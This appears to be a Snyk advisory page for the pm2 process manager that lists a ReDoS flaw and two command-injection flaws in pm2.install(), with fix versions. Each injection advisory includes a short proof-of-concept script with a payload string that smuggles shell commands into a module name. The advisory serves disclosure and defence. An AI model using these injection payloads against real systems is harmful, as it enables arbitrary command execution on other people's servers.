pm2@2.4.1-beta5 vulnerabilities

Production process manager for Node.JS applications with a built-in load balancer.

  • latest version

    6.0.8

  • first published

    12 years ago

  • latest version published

    9 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the pm2 package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    pm2 is a production process manager for Node.js applications with a built-in load balancer.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the function _valid in the Config.js file, which is exposed to user input via validateJSON. An attacker can cause degradation of performance by sending specially crafted inputs that exploit inefficient regular expression complexity.

    Note: This vulnerability is being verified and the advisory may be updated to reflect new information.

    How to fix Regular Expression Denial of Service (ReDoS)?

    A fix was pushed into the master branch but not yet published.

    *
    • M
    Command Injection

    pm2 is a production process manager for Node.js applications with a built-in load balancer.

    Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import() function when tar.gz archive is installed with a name provided as user controlled input.

    PoC by bl4de

    // pm2_exploit.js
    
    'use strict'
    const pm2 = require('pm2')
    
    // payload - user controllable input
    const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"
    
    pm2.connect(function(err) {
        if (err) {
            console.error(err)
            process.exit(2)
        }
    
        pm2.start({
    
        }, (err, apps) => {
            pm2.install(payload, {}) // injection
            pm2.disconnect()
            if (err) {
                throw err
            }
        })
    })
    

    How to fix Command Injection?

    Upgrade pm2 to version 4.3.0 or higher.

    <4.3.0
    • M
    Command Injection

    pm2 is a production process manager for Node.js applications with a built-in load balancer.

    Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install() method within lib/API/Modules/Modularizer.js as an unsanitized module_name variable. This input is eventually provided to the spawn() function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH command.

    PoC by bl4de

    // pm2_exploit.js
    
    
    'use strict'
    const pm2 = require('pm2')
    
    // payload - user controllable input
    const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"
    
    pm2.connect(function (err) {
        if (err) {
            console.error(err)
            process.exit(2)
        }
    
        pm2.start({
            script: 'app.js' // fake app.js to supress "No script path - aborting" error thrown from PM2
        }, (err, apps) => {
            pm2.install(payload, {}) // injection
            pm2.disconnect()
            if (err) {
                throw err
            }
        })
    })
    

    How to fix Command Injection?

    Upgrade pm2 to version 4.3.0 or higher.

    <4.3.0